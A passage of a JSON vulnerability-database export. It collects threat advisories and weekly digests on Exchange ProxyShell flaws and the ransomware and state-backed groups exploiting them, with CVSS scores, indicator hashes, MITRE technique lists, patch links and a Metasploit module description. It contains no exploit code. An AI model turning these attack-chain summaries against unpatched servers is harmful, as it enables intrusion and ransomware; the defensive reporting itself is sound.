"CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-12-07T13:24:49", "type": "hivepro", "title": "BlackByte ransomware exploits Microsoft Servers ProxyShell Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-12-07T13:24:49", "id": "HIVEPRO:10B372979ED5F121D7A84FB66487023E", "href": "https://www.hivepro.com/blackbyte-ransomware-exploits-microsoft-servers-proxyshell-vulnerabilities/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-24T12:00:56", "description": "#### THREAT LEVEL: Red.\n\nFor a detailed advisory, [download the pdf file here](<https://www.hivepro.com/wp-content/uploads/2021/08/TA202131.pdf>)[.](<https://www.hivepro.com/wp-content/uploads/2021/08/TA202130.pdf>)\n\nLockFile, a new ransomware gang, has been active since last week. LockFile began by using a publicly disclosed PetitPotam exploit (CVE-2021-36942) to compromise Windows Domain Controllers earlier this week. Using ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207), they've now infiltrated many Microsoft Exchange Servers . The origins of this gang are most likely China. This gang used a similar ransomware note as of LokiBot and is been linked to Conti ransomware due to the email id provided (contact@contipauper[.]com). HivePro Threat Research team advises everyone to patch the vulnerabilities to prevent an attack.\n\n#### Vulnerability Details\n\n\n\n#### Actor Details\n\n**Name** | **Target Locations** | **Target Sectors** | \n---|---|---|--- \nLockFile Ransomware | United States of America and Asia | Manufacturing, financial services, engineering, legal, business services, and travel and tourism sectors | \n \n#### Indicators of Compromise (IoCs)\n\n**Type** | **Value** \n---|--- \nIP Address | 209.14.0.234 \nSHA-2 Hash | ed834722111782b2931e36cfa51b38852c813e3d7a4d16717f59c1d037b62291 \ncafe54e85c539671c94abdeb4b8adbef3bde8655006003088760d04a86b5f915 \n36e8bb8719a619b78862907fd49445750371f40945fefd55a9862465dc2930f9 \n5a08ecb2fad5d5c701b4ec42bd0fab7b7b4616673b2d8fbd76557203c5340a0f \n1091643890918175dc751538043ea0743618ec7a5a9801878554970036524b75 \n2a23fac4cfa697cc738d633ec00f3fbe93ba22d2498f14dea08983026fdf128a \n7bcb25854ea2e5f0b8cfca7066a13bc8af8e7bac6693dea1cdad5ef193b052fd \nc020d16902bd5405d57ee4973eb25797087086e4f8079fac0fd8420c716ad153 \na926fe9fc32e645bdde9656470c7cd005b21590cda222f72daf854de9ffc4fe0 \n368756bbcaba9563e1eef2ed2ce59046fb8e69fb305d50a6232b62690d33f690 \nd030d11482380ebf95aea030f308ac0e1cd091c673c7846c61c625bdf11e5c3a \na0066b855dc93cf88f29158c9ffbbdca886a5d6642cbcb9e71e5c759ffe147f8 \n \n#### Patch Links\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36942>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>\n\n#### References\n\n<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows>\n\n<https://www.bleepingcomputer.com/news/security/lockfile-ransomware-uses-petitpotam-attack-to-hijack-windows-domains/>", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-24T10:35:48", "type": "hivepro", "title": "ProxyShell and PetitPotam exploits weaponized by LockFile Ransomware Group", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-36942"], "modified": "2021-08-24T10:35:48", "id": "HIVEPRO:C0B03D521C5882F1BE07ECF1550A5F74", "href": "https://www.hivepro.com/proxyshell-and-petitpotam-exploits-weaponized-by-lockfile-ransomware-group/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-10-03T06:08:35", "description": "Threat Level Vulnerability Report For a detailed threat advisory, download the pdf file here Summary Microsoft Exchange Server has two unpatched zero-day vulnerabilities. One of them is a Server-Side Request Forgery (SSRF) vulnerability(CVE-2022-41040), while the second is a remote code execution (RCE) vulnerability (CVE-2022-41082)in PowerShell. An authenticated attacker can exploit these vulnerabilities together to gain access to a victim's system by chaining them together.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-09-30T10:21:56", "type": "hivepro", "title": "Unpatched zero-day vulnerabilities of Microsoft Exchange Server", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-09-30T10:21:56", "id": "HIVEPRO:B4C85BEFF3E49468BE44E35CEC3A7DE6", "href": "https://www.hivepro.com/unpatched-zero-day-vulnerabilities-of-microsoft-exchange-server/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-03-24T14:24:49", "description": "THREAT LEVEL: Red. For a detailed advisory, download the pdf file here Federal Bureau of Investigation and Cybersecurity and Infrastructure Security Agency released threat advisories on AvosLocker Ransomware. It is a Ransomware as a Service (RaaS) affiliate-based group that has targeted 50+ organizations in critical infrastructure sectors such as financial services, manufacturing plants, and government facilities in countries such as the United States, Saudi Arabia, the United Kingdom, Germany, Spain, and the United Arab Emirates, among others. After it's affiliates infect targets, AvosLocker claims to handle ransom negotiations, as well as the publishing and hosting of exfiltrated victim data. The AvosLocker ransomware is a multi-threaded C++ Windows executable that operates as a console application and displays a log of actions performed on victim computers. For the delivery of the ransomware payload, the attackers use spam email campaigns as the initial infection vector. The threat actors exploits Proxy Shell vulnerabilities CVE-2021-31206, CVE-2021-31207, CVE-2021-34523, and CVE-2021-34473, as well as CVE-2021-26855 to gain access to victim\u2019s machine and then they deploy Mimikatz to steal passwords. Furthermore, threat actors can use the detected credentials to get RDP access to the domain controller and then exfiltrate data from the compromised machine. Finally, the attacker installs AvosLocker ransomware on the victim's computer and then encrypts the victim's documents and files with the ".avos" extension. The actor then leaves a ransom letter in each directory named "GET YOUR FILES BACK.txt" with a link to an AvosLocker .onion payment site. The Organizations can mitigate the risk by following the recommendations: \u2022Keep all operating systems and software up to date. \u2022Remove unnecessary access to administrative shares. \u2022Maintain offline backups of data and Ensure all backup data is encrypted and immutable. The MITRE TTPs commonly used by Avoslocker are: TA0001: Initial AccessTA0002: ExecutionTA0007: DiscoveryTA0040: ImpactT1566: PhishingT1204: User ExecutionT1082: System Information DiscoveryT1490: Inhibit System RecoveryT1489: Service StopT1486: Data Encrypted for Impact Actor Detail Vulnerability Details Indicators of Compromise (IoCs) Patches https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31206 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855 Recent Breaches https://www.unical.com/ https://www.paccity.net/ https://www.gigabyte.com/ Reference https://www.cisa.gov/uscert/ncas/current-activity/2022/03/22/fbi-and-fincen-release-advisory-avoslocker-ransomware", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-24T06:30:44", "type": "hivepro", "title": "AvosLocker Ransomware group has targeted 50+ Organizations Worldwide", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-31206", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-03-24T06:30:44", "id": "HIVEPRO:92FF0246065B21E79C7D8C800F2DED76", "href": "https://www.hivepro.com/avoslocker-ransomware-group-has-targeted-50-organizations-worldwide/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-27T15:34:57", "description": "For a detailed threat digest, download the pdf file here Published Vulnerabilities Interesting Vulnerabilities Active Threat Groups Targeted Countries Targeted Industries ATT&CK TTPs 430 5 2 Worldwide 17 46 The fourth week of April 2022 witnessed the discovery of 430 vulnerabilities out of which 5 gained the attention of Threat Actors and security researchers worldwide. Among these 5, there was 1 zero-day, and 1 vulnerability that was awaiting analysis on the National Vulnerability Database (NVD). Hive Pro Threat Research Team has curated a list of 5 CVEs that require immediate action. Further, we also observed Two Threat Actor groups being highly active in the last week. Lazarus, a North Korea threat actor group popular for financial crime and gain, was observed targeting blockchain technology and the cryptocurrency industry using a new malware TraderTraitor and Hive ransomware group was seen using the ProxyShell vulnerabilities to target organizations all around the world. Common TTPs which could potentially be exploited by these threat actors or CVEs can be found in the detailed section. Detailed Report: Interesting Vulnerabilities: Vendor CVEs Patch Link CVE-2021-34473 CVE-2021-34523 CVE-2021-31207 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207 CVE-2022-0540 https://www.atlassian.com/software/jira/core/download https://www.atlassian.com/software/jira/update CVE-2022-29072* Not Available Active Actors: Icon Name Origin Motive Lazarus Group (APT38, BlueNoroff, and Stardust Chollima) North Korea Financial crime and gain Hive Ransomware Group Unknown Financial crime and gain Targeted Location: Targeted Sectors: Common TTPs: TA0042: Resource Development TA0001: Initial Access TA0002: Execution TA0003: Persistence TA0004: Privilege Escalation TA0005: Defense Evasion TA0006: Credential Access TA0007: Discovery TA0008: Lateral Movement TA0009: Collection TA0011: Command and Control TA0010: Exfiltration TA0040: Impact T1588: Obtain Capabilities T1190: Exploit Public-Facing Application T1059: Command and Scripting Interpreter T1136: Create Account T1134: Access Token Manipulation T1134: Access Token Manipulation T1110: Brute Force T1083: File and Directory Discovery T1570: Lateral Tool Transfer T1560: Archive Collected Data T1071: Application Layer Protocol T1567: Exfiltration Over Web Service T1486: Data Encrypted for Impact T1588.005: Exploits T1566: Phishing T1059.007: JavaScript T1136.002: Domain Account T1543: Create or Modify System Process T1140: Deobfuscate/Decode Files or Information T1003: OS Credential Dumping T1135: Network Share Discovery T1021: Remote Services T1560.001: Archive via Utility T1071.001: Web Protocols T1496: Resource Hijacking T1588.006: Vulnerabilities T1566.001: Spearphishing Attachment T1059.001: PowerShell T1053: Scheduled Task/Job T1068: Exploitation for Privilege Escalation T1562: Impair Defenses T1003.005: Cached Domain Credentials T1057: Process Discovery T1021.001: Remote Desktop Protocol T1005: Data from Local System T1105: Ingress Tool Transfer T1566.002: Spearphishing Link T1059.003: Windows Command Shell T1053.005: Scheduled Task T1053: Scheduled Task/Job T1562.001: Disable or Modify Tools T1018: Remote System Discovery T1021.002: SMB/Windows Admin Shares T1113: Screen Capture T1078: Valid Accounts T1106: Native API T1078: Valid Accounts T1053.005: Scheduled Task T1070: Indicator Removal on Host T1518: Software Discovery T1021.006: Windows Remote Management T1078.002: Domain Accounts T1053: Scheduled Task/Job T1078.002: Domain Accounts T1078: Valid Accounts T1553: Subvert Trust Controls T1518.001: Security Software Discovery T1053.005: Scheduled Task T1078.002: Domain Accounts T1078: Valid Accounts T1049: System Network Connections Discovery T1204: User Execution T1078.002: Domain Accounts T1204.002: Malicious File T1047: Windows Management Instrumentation Threat Advisories: Bypass Authentication vulnerability in Atlassian Jira Seraph Hive Ransomware targets organizations with ProxyShell exploit Lazarus is back, targeting organizations with cryptocurrency thefts via TraderTraitor malware What will be the consequence of this disputed vulnerability in 7-ZIP?", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-27T12:44:38", "type": "hivepro", "title": "Weekly Threat Digest: 18 \u2013 24 April 2022", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2022-0540", "CVE-2022-29072"], "modified": "2022-04-27T12:44:38", "id": "HIVEPRO:09525E3475AC1C5F429611A90182E82F", "href": "https://www.hivepro.com/weekly-threat-digest-18-24-april-2022/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-18T13:20:19", "description": "#### THREAT LEVEL: Red.\n\nFor a detailed advisory, [download the pdf file here.](<https://www.hivepro.com/wp-content/uploads/2021/11/MuddyWater-is-taking-advantage-of-old-vulnerabilities_TA202149.pdf>)[](<https://docs.google.com/viewer?url=https%3A%2F%2Fwww.hivepro.com%2Fwp-content%2Fuploads%2F2021%2F11%2FA-zero-day-vulnerability-has-been-discovered-in-PANs-GlobalProtect-firewall_TA202148-1.pdf&embedded=true&chrome=false&dov=1> \"View this pdf file\" )\n\nThe Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC), and the United Kingdom's National Cyber Security Centre (NCSC) have issued a joint advisory to warn organizations about an APT State sponsored Actor exploiting old Fortinet and proxyshell vulnerabilities. \nSince late March 2021, this APT Iranian State sponsored Actor (MuddyWater) has been breaching vulnerable networks by exploiting Fortinet vulnerabilities. The Hive Pro threat Research team has issued a detailed and in [depth](<https://www.hivepro.com/old-fortinet-vulnerabilities-exploited-by-state-sponsored-actors/>) advisory for the same. \nNow, in October 2021, MuddyWater is getting initial access to the susceptible system by exploiting the well known ProxyShell Vulnerability (CVE 2021 34473). \nIt is recommended that organizations patch these vulnerabilities as soon as available. \nThe Tactics and Techniques used by MuddyWater are: \nTA0042 - Resource Development \nT1588.001 - Obtain Capabilities: Malware \nT1588.002 - Obtain Capabilities: Tool \nTA0001 - Initial Access \nT1190 - Exploit Public Facing Application \nTA0002 - Execution \nT1053.005 - Scheduled Task/Job: Scheduled Task \nTA0003 - Persistence \nT1136.001 - Create Account: Local Account \nT1136.002 - Create Account: Domain Account \nTA0004 - Privilege Escalation \nTA0006 - Credential Access \nTA0009 - Collection \nT1560.001 - Archive Collected Data: Archive via Utility \nTA0010 - Exfiltration \nTA0040 - Impact \nT1486 - Data Encrypted for Impact\n\n#### Actor Details\n\n\n\n#### Vulnerability Details\n\n\n\n#### Indicators of Compromise (IoCs)\n\n\n\n#### Patch Link\n\n<https://kb.fortinet.com/kb/documentLink.do?externalID=FD37033>\n\n<http://www.securityfocus.com/bid/108693>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473>\n\n#### References\n\n<https://us-cert.cisa.gov/ncas/alerts/aa21-321a>", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-18T11:45:32", "type": "hivepro", "title": "MuddyWater is taking advantage of old vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34473"], "modified": "2021-11-18T11:45:32", "id": "HIVEPRO:186D6EE394314F861D57F4243E31E975", "href": "https://www.hivepro.com/muddywater-is-taking-advantage-of-old-vulnerabilities/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-30T07:42:21", "description": "For a detailed threat digest, download the pdf file here Published Vulnerabilities Interesting Vulnerabilities Active Threat Groups Targeted Countries Targeted Industries ATT&CK TTPs 340 10 5 53 24 84 The fourth week of March 2022 witnessed the discovery of 340 vulnerabilities out of which 10 gained the attention of Threat Actors and security researchers worldwide. Among these 10, there was 1 which is undergoing reanalysis, and 2 were not present in the NVD at all. Hive Pro Threat Research Team has curated a list of 10 CVEs that require immediate action. Furthermore, we also observed five threat actor groups being highly active in the last week. The Lapsus$, a new extortion threat actor group had attacked popular organizations such as Brazilian Ministry of Health, NVIDIA, Samsung, Vodafone, Ubisoft, Octa, and Microsoft for data theft and destruction, was observed using the Redline info-stealer. Additionally, North Korean state hackers known as Lazarus group, was exploiting the zero-day vulnerability in Google Chrome's web browser (CVE-2022-0609). AvosLocker is a Ransomware as a Service (RaaS) affiliate-based group that has targeted 50+ organizations is currently exploiting Proxy Shell vulnerabilities (CVE-2021-31206, CVE-2021-31207, CVE-2021-34523, CVE-2021-34473, CVE-2021-26855). The threat actor APT35 aka Magic Hound, an Iranian-backed threat group is exploiting the Proxy Shell vulnerabilities to attack organizations across the globe. Another South Korean APT group DarkHotel was targeting the hospitality industry in China. Common TTPs which could potentially be exploited by these threat actors or CVEs can be found in the detailed section below. Detailed Report: Interesting Vulnerabilities: Vendor CVEs Patch Link CVE-2021-34484 CVE-2022-21919 https://central.0patch.com/auth/login CVE-2022-0609* CVE-2022-1096* https://www.google.com/intl/en/chrome/?standalone=1 CVE-2021-31206 CVE-2021-31207 CVE-2021-34523 CVE-2021-34473 CVE-2021-26855 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31206 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855 CVE-2022-0543 https://security-tracker.debian.org/tracker/CVE-2022-0543 Active Actors: Icon Name Origin Motive APT 35 (Magic Hound, Cobalt Illusion, Charming Kitten, TEMP.Beanie, Timberworm, Tarh Andishan, TA453, ITG18, Phosphorus, Newscaster) Iran Information theft and espionage AvosLocker Unknown Ecrime, Information theft, and Financial gain Lazarus Group (Labyrinth Chollima, Group 77, Hastati Group, Whois Hacking Team, NewRomanic Cyber Army Team, Zinc, Hidden Cobra, Appleworm, APT-C-26, ATK 3, SectorA01, ITG03) North Korea Information theft and espionage, Sabotage and destruction, Financial crime Lapsus$ (DEV-0537) Unknown Data theft and Destruction DarkHotel (APT-C-06, SIG25, Dubnium, Fallout Team, Shadow Crane, CTG-1948, Tungsten Bridge, ATK 52, Higaisa, TAPT-02, Luder) South Korea Information theft and espionage Targeted Location: Targeted Sectors: Common TTPs: TA0042: Resource Development TA0001: Initial Access TA0002: Execution TA0003: Persistence TA0004: Privilege Escalation TA0005: Defense Evasion TA0006: Credential Access TA0007: Discovery TA0008: Lateral Movement TA0009: Collection TA0011: Command and Control TA0010: Exfiltration TA0040: Impact T1583: Acquire Infrastructure T1189: Drive-by Compromise T1059: Command and Scripting Interpreter T1098: Account Manipulation T1548: Abuse Elevation Control Mechanism T1548: Abuse Elevation Control Mechanism T1110: Brute Force T1010: Application Window Discovery T1021: Remote Services T1560: Archive Collected Data T1071: Application Layer Protocol T1048: Exfiltration Over Alternative Protocol T1485: Data Destruction T1583.001: Domains T1190: Exploit Public-Facing Application T1059.001: PowerShell T1547: Boot or Logon Autostart Execution T1134: Access Token Manipulation T1134: Access Token Manipulation T1110.003: Password Spraying T1083: File and Directory Discovery T1021.001: Remote Desktop Protocol T1560.003: Archive via Custom Method T1071.001: Web Protocols T1048.003: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol T1486: Data Encrypted for Impact T1583.006: Web Services T1133: External Remote Services T1059.005: Visual Basic T1547.006: Kernel Modules and Extensions T1134.002: Create Process with Token T1134.002: Create Process with Token T1056: Input Capture T1120: Peripheral Device Discovery T1021.002: SMB/Windows Admin Shares T1560.002: Archive via Library T1132: Data Encoding T1041: Exfiltration Over C2 Channel T1491: Defacement T1587: Develop Capabilities T1566: Phishing T1059.004: Unix Shell T1547.001: Registry Run Keys / Startup Folder T1547: Boot or Logon Autostart Execution T1564: Hide Artifacts T1056.004: Credential API Hooking T1057: Process Discovery T1021.004: SSH T1213: Data from Information Repositories T1132.001: Standard Encoding T1537: Transfer Data to Cloud Account T1491.001: Internal Defacement T1587.001: Malware T1566.001: Spearphishing Attachment T1059.003: Windows Command Shell T1547.009: Shortcut Modification T1547.006: Kernel Modules and Extensions T1564.001: Hidden Files and Directories T1056.001: Keylogging T1012: Query Registry T1005: Data from Local System T1001: Data Obfuscation T1561: Disk Wipe T1588: Obtain Capabilities T1199: Trusted Relationship T1203: Exploitation for Client Execution T1543: Create or Modify System Process T1547.001: Registry Run Keys / Startup Folder T1562: Impair Defenses T1003: OS Credential Dumping T1082: System Information Discovery T1074: Data Staged T1001.003: Protocol Impersonation T1561.001: Disk Content Wipe T1588.004: Digital Certificates T1078: Valid Accounts T1106: Native API T1543.003: Windows Service T1547.009: Shortcut Modification T1562.004: Disable or Modify System Firewall T1111: Two-Factor Authentication Interception T1016: System Network Configuration Discovery T1074.001: Local Data Staging T1573: Encrypted Channel T1561.002: Disk Structure Wipe T1588.006: Vulnerabilities T1053: Scheduled Task/Job T1133: External Remote Services T1543: Create or Modify System Process T1562.001: Disable or Modify Tools T1552: Unsecured Credentials T1033: System Owner/User Discovery T1056: Input Capture T1573.001: Symmetric Cryptography T1490: Inhibit System Recovery T1204: User Execution T1137: Office Application Startup T1543.003: Windows Service T1070: Indicator Removal on Host T1124: System Time Discovery T1056.004: Credential API Hooking T1008: Fallback Channels T1489: Service Stop T1204.002: Malicious File T1542: Pre-OS Boot T1068: Exploitation for Privilege Escalation T1070.004: File Deletion T1056.001: Keylogging T1105: Ingress Tool Transfer T1529: System Shutdown/Reboot T1047: Windows Management Instrumentation T1542.003: Bootkit T1055: Process Injection T1070.006: Timestomp T1571: Non-Standard Port T1053: Scheduled Task/Job T1055.001: Dynamic-link Library Injection T1036: Masquerading T1090: Proxy T1505: Server Software Component T1053: Scheduled Task/Job T1036.005: Match Legitimate Name or Location T1090.002: External Proxy T1505.003: Web Shell T1078: Valid Accounts T1027: Obfuscated Files or Information T1078: Valid Accounts T1027.006: HTML Smuggling T1027.002: Software Packing T1542: Pre-OS Boot T1542.003: Bootkit T1055: Process Injection T1055.001: Dynamic-link Library Injection T1218: Signed Binary Proxy Execution T1218.001: Compiled HTML File T1078: Valid Accounts T1497: Virtualization/Sandbox Evasion Threat Advisories: Microsoft\u2019s privilege escalation vulnerability that refuses to go away Google Chrome\u2019s second zero-day in 2022 Magic Hound Exploiting Old Microsoft Exchange ProxyShell Vulnerabilities AvosLocker Ransomware group has targeted 50+ Organizations Worldwide North Korean state-sponsored threat actor Lazarus Group exploiting Chrome Zero-day vulnerability LAPSUS$ \u2013 New extortion group involved in the breach against Nvidia, Microsoft, Okta and Samsung DarkHotel APT group targeting the Hospitality Industry in China New Threat Actor using Serpent Backdoor attacking French Entities Muhstik botnet adds another vulnerability exploit to its arsenal", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-29T13:56:10", "type": "hivepro", "title": "Weekly Threat Digest: 21 \u2013 27 March 2022", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-31206", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34484", "CVE-2021-34523", "CVE-2022-0543", "CVE-2022-0609", "CVE-2022-1096", "CVE-2022-21919"], "modified": "2022-03-29T13:56:10", "id": "HIVEPRO:E7F36EC1E4DCF018F94ECD22747B7093", "href": "https://www.hivepro.com/weekly-threat-digest-21-27-march-2022/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "metasploit": [{"lastseen": "2023-08-07T01:57:48", "description": "This module exploits a vulnerability on Microsoft Exchange Server that allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve the RCE (Remote Code Execution). By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15, Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5, Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9. All components are vulnerable by default.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": 